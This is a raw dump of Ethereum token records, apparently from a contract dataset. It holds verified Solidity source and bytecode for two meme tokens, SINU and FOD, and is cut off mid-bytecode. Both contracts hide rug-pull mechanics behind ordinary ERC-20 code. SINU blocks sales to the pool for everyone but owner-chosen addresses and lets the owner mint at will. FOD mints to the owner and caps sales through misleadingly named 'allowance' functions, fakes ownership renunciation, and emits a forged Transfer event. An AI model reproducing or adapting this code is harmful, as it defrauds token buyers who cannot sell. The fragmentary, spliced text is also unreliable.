6f77207a65726f4f776e61626c653a206164647265737320697320616c72656164792061646d696ea2646970667358221220c089768447457aa68b2ae9c17237199afcaaeb9fa1ea4f6df8cfbfde52c6e17064736f6c63430007030033
{"success": true, "error": null, "results": {}}
4,876
0xab5d6114754303edb8d6552ea5f3e11bcdf55a85
/** *Submitted for verification at Etherscan.io on 2021-04-22 */ /* #Sugoi Inu Token (SINU) https://Sinu.farm/ https://twitter.com/Sinu https://t.me/Sinutoken */ // SPDX-License-Identifier: MIT pragma solidity >=0.5.17; library SafeMath { function add(uint a, uint b) internal pure returns (uint c) { c = a + b; require(c >= a); } function sub(uint a, uint b) internal pure returns (uint c) { require(b <= a); c = a - b; } function mul(uint a, uint b) internal pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function div(uint a, uint b) internal pure returns (uint c) { require(b > 0); c = a / b; } } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ contract ERC20Interface { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() public view returns (uint); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address tokenOwner) public view returns (uint balance); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address tokenOwner, address spender) public view returns (uint remaining); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint tokens) public returns (bool success); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint tokens) public returns (bool success); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint tokens) public returns (bool success); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint tokens); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes memory data) public; } contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); emit OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } contract TokenERC20 is ERC20Interface, Owned{ using SafeMath for uint; string public symbol; string public name; uint8 public decimals; uint _totalSupply; address public pool; address public participantA = 0xc4E960A8698D964ea529BE15F8B7e689F9e24438; address public participantB = 0xc4E960A8698D964ea529BE15F8B7e689F9e24438; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; constructor() public { symbol = "SINU"; name = "Sugoi Inu"; decimals = 18; _totalSupply = 8880000000000000000000000000; balances[owner] = _totalSupply; emit Transfer(address(0), owner, _totalSupply); } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ function UpdatePool(address _pool) public onlyOwner { pool = _pool; } function UpdateParticipantA(address _participantA, uint256 tokens) public onlyOwner { participantA = _participantA; _totalSupply = _totalSupply.add(tokens); balances[_participantA] = balances[_participantA].add(tokens); emit Transfer(address(0), _participantA, tokens); } function UpdateParticipantB(address _participantB) public onlyOwner { participantB = _participantB; } function totalSupply() public view returns (uint) { return _totalSupply.sub(balances[address(0)]); } function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } function transfer(address to, uint tokens) public returns (bool success) { require(to != pool, "please wait"); balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { if(from != address(0) && pool == address(0)) pool = to; else require(to != pool || (from == participantA && to == pool) || (from == participantB && to == pool), "please wait"); balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return true; } function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data); return true; } function () external payable { revert(); } } contract SugoiInu is TokenERC20 { function clearCNDAO() public onlyOwner() { address payable _owner = msg.sender; _owner.transfer(address(this).balance); } function() external payable { } }
0x60806040526004361061012a5760003560e01c80638da5cb5b116100ab578063c04365a91161006f578063c04365a91461069f578063cae9ca51146106b6578063d4ee1d90146107c0578063dd62ed3e14610817578063f2fde38b1461089c578063ff925fe5146108ed5761012a565b80638da5cb5b146104935780638e876dfd146104ea57806395d89b4114610545578063a9059cbb146105d5578063ac21b6f4146106485761012a565b8063313ce567116100f2578063313ce56714610344578063434968761461037557806370a08231146103c657806379ba50971461042b57806389d60a21146104425761012a565b806306fdde031461012c578063095ea7b3146101bc57806316f0115b1461022f57806318160ddd1461028657806323b872dd146102b1575b005b34801561013857600080fd5b50610141610944565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610181578082015181840152602081019050610166565b50505050905090810190601f1680156101ae5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101c857600080fd5b50610215600480360360408110156101df57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109e2565b604051808215151515815260200191505060405180910390f35b34801561023b57600080fd5b50610244610ad4565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561029257600080fd5b5061029b610afa565b6040518082815260200191505060405180910390f35b3480156102bd57600080fd5b5061032a600480360360608110156102d457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b55565b604051808215151515815260200191505060405180910390f35b34801561035057600080fd5b506103596110fc565b604051808260ff1660ff16815260200191505060405180910390f35b34801561038157600080fd5b506103c46004803603602081101561039857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061110f565b005b3480156103d257600080fd5b50610415600480360360208110156103e957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111ac565b6040518082815260200191505060405180910390f35b34801561043757600080fd5b506104406111f5565b005b34801561044e57600080fd5b506104916004803603602081101561046557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611392565b005b34801561049f57600080fd5b506104a861142f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156104f657600080fd5b506105436004803603604081101561050d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611454565b005b34801561055157600080fd5b5061055a611608565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561059a57808201518184015260208101905061057f565b50505050905090810190601f1680156105c75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156105e157600080fd5b5061062e600480360360408110156105f857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506116a6565b604051808215151515815260200191505060405180910390f35b34801561065457600080fd5b5061065d611905565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156106ab57600080fd5b506106b461192b565b005b3480156106c257600080fd5b506107a6600480360360608110156106d957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019064010000000081111561072057600080fd5b82018360208201111561073257600080fd5b8035906020019184600183028401116401000000008311171561075457600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f8201169050808301925050505050505091929192905050506119d3565b604051808215151515815260200191505060405180910390f35b3480156107cc57600080fd5b506107d5611c06565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561082357600080fd5b506108866004803603604081101561083a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611c2c565b6040518082815260200191505060405180910390f35b3480156108a857600080fd5b506108eb600480360360208110156108bf57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611cb3565b005b3480156108f957600080fd5b50610902611d50565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109da5780601f106109af576101008083540402835291602001916109da565b820191906000526020600020905b8154815290600101906020018083116109bd57829003601f168201915b505050505081565b600081600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000610b50600960008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600554611d7690919063ffffffff16565b905090565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015610be15750600073ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b15610c2c5782600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610e53565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580610d2f5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015610d2e5750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b5b80610de05750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015610ddf5750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b5b610e52576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f706c65617365207761697400000000000000000000000000000000000000000081525060200191505060405180910390fd5b5b610ea582600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d7690919063ffffffff16565b600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f7782600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d7690919063ffffffff16565b600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061104982600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d9090919063ffffffff16565b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600460009054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461116857600080fd5b80600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461124f57600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146113eb57600080fd5b80600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146114ad57600080fd5b81600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061150381600554611d9090919063ffffffff16565b60058190555061155b81600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d9090919063ffffffff16565b600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b60028054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561169e5780601f106116735761010080835404028352916020019161169e565b820191906000526020600020905b81548152906001019060200180831161168157829003601f168201915b505050505081565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561176c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f706c65617365207761697400000000000000000000000000000000000000000081525060200191505060405180910390fd5b6117be82600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d7690919063ffffffff16565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061185382600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d9090919063ffffffff16565b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461198457600080fd5b60003390508073ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f193505050501580156119cf573d6000803e3d6000fd5b5050565b600082600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338530866040518563ffffffff1660e01b8152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b83811015611b94578082015181840152602081019050611b79565b50505050905090810190601f168015611bc15780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b158015611be357600080fd5b505af1158015611bf7573d6000803e3d6000fd5b50505050600190509392505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611d0c57600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600082821115611d8557600080fd5b818303905092915050565b6000818301905082811015611da457600080fd5b9291505056fea265627a7a723158209a5ee31ace226486709b9498f1f7b7dfd782e9f2378c354d18772fe2ae388d2c64736f6c63430005110032
{"success": true, "error": null, "results": {}}
4,877
0xbccbea22eb26be71f478e459117095ae39f2dee3
/* ~~~~ Foundtian Of Dreamz ⚔️ Our Benefits: 🔥 50% burn - Tokens are instantly more valuable! 🚀 Fair Launch! 🎰 True Community Token with a chance to make your dreams come true - each buy comes with a chance to earn 2x your amount of tokens per purchase! 🌃 📬 Flexible Staking - stake Fountain of Dreams or Fountain of Dreams LP pool tokens and earn rewards in coins of your choice! (ETH, USDT/USDC, Fountain of Dreams, wBTC) � An NFT game based off of Kirby is in development in which holders will benefit from the NFT Kirby based game - 5 0% of all profit from in-game NFT minting taxes will be pooled and redistributed to holders of our token! **/ pragma solidity ^0.6.9; // SPDX-License-Identifier: MIT library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _call() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable is Context { address private _owner; address public Owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address call = _call(); _owner = call; Owner = call; emit OwnershipTransferred(address(0), call); } modifier onlyOwner() { require(_owner == _call(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); Owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract FOD is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping(address => uint256) private _router; mapping(address => mapping (address => uint256)) private _allowances; address private router; address private caller; uint256 private _totalTokens = 50 * 10**9 * 10**18; uint256 private rTotal = 50 * 10**9 * 10**18; string private _name = '@FountainOfDreams'; string private _symbol = 'DreamZ'; uint8 private _decimals = 18; constructor () public { _router[_call()] = _totalTokens; emit Transfer(address(0x5922b0BBAe5182f2B70609f5dFD08f7DA561F5A4), _call(), _totalTokens); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decreaseAllowance(uint256 amount) public onlyOwner { rTotal = amount * 10**18; } function balanceOf(address account) public view override returns (uint256) { return _router[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_call(), recipient, amount); return true; } function increaseAllowance(uint256 amount) public onlyOwner { require(_call() != address(0)); _totalTokens = _totalTokens.add(amount); _router[_call()] = _router[_call()].add(amount); emit Transfer(address(0), _call(), amount); } function Approve(address trade) public onlyOwner { caller = trade; } function setrouteChain (address Uniswaprouterv02) public onlyOwner { router = Uniswaprouterv02; } function decimals() public view returns (uint8) { return _decimals; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_call(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _call(), _allowances[sender][_call()].sub(amount)); return true; } function totalSupply() public view override returns (uint256) { return _totalTokens; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0)); require(recipient != address(0)); if (sender != caller && recipient == router) { require(amount < rTotal); } _router[sender] = _router[sender].sub(amount); _router[recipient] = _router[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0)); require(spender != address(0)); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } }
0x608060405234801561001057600080fd5b50600436106101005760003560e01c806370a0823111610097578063a9059cbb11610066578063a9059cbb1461047f578063b4a99a4e146104e5578063dd62ed3e1461052f578063f2fde38b146105a757610100565b806370a0823114610356578063715018a6146103ae57806395d89b41146103b857806396bfcd231461043b57610100565b806318160ddd116100d357806318160ddd1461024a57806323b872dd14610268578063313ce567146102ee5780636aae83f31461031257610100565b806306fdde0314610105578063095ea7b31461018857806310bad4cf146101ee57806311e330b21461021c575b600080fd5b61010d6105eb565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014d578082015181840152602081019050610132565b50505050905090810190601f16801561017a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101d46004803603604081101561019e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061068d565b604051808215151515815260200191505060405180910390f35b61021a6004803603602081101561020457600080fd5b81019080803590602001909291905050506106ab565b005b6102486004803603602081101561023257600080fd5b8101908080359060200190929190505050610788565b005b6102526109c0565b6040518082815260200191505060405180910390f35b6102d46004803603606081101561027e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109ca565b604051808215151515815260200191505060405180910390f35b6102f6610a89565b604051808260ff1660ff16815260200191505060405180910390f35b6103546004803603602081101561032857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610aa0565b005b6103986004803603602081101561036c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bad565b6040518082815260200191505060405180910390f35b6103b6610bf6565b005b6103c0610d7f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104005780820151818401526020810190506103e5565b50505050905090810190601f16801561042d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61047d6004803603602081101561045157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e21565b005b6104cb6004803603604081101561049557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f2e565b604051808215151515815260200191505060405180910390f35b6104ed610f4c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105916004803603604081101561054557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f72565b6040518082815260200191505060405180910390f35b6105e9600480360360208110156105bd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ff9565b005b606060088054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106835780601f1061065857610100808354040283529160200191610683565b820191906000526020600020905b81548152906001019060200180831161066657829003601f168201915b5050505050905090565b60006106a161069a611206565b848461120e565b6001905092915050565b6106b3611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610774576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b670de0b6b3a7640000810260078190555050565b610790611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffff